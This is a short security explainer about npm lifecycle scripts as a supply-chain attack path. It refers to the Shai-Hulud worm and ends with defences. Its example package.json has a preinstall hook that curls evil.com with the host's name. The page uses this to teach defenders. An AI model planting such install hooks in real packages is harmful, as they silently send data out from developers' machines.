npm lifecycle scripts
Automatically during npm install
- Lives in
scripts field in package.json- Attacker needs
- Supply-chain foothold
- Lifecycle
- InstallStartupyour codeModule loadRuntimeREPL
Runs while dependencies download and build. The app has never started.
How it runs
Every package.json can define lifecycle scripts that run automatically during npm install. There's no confirmation and no prompt. Installing a dependency executes its code as a side effect.
The main ones are preinstall (before install), install (after files are written), postinstall (after install completes), and prepare. prepare runs across several flows, including installs, pack, publish, and some git-dependency installs.
{
"name": "totally-normal-package",
"version": "1.0.0",
"scripts": {
"preinstall": "curl https://evil.com/exfil?host=$(hostname)"
}
}
npm install totally-normal-package
The Shai-Hulud worm in 2025 showed how far this goes. A compromised package's lifecycle script harvested credentials and republished itself through the victim's own npm tokens, spreading across the registry.
In the wild
Shai-Hulud worm (2025) abused install lifecycle scripts to self-propagate
Defend
Install with --ignore-scripts and allowlist exceptions; pin and audit dependencies; use lockfiles; run installs in sandboxes.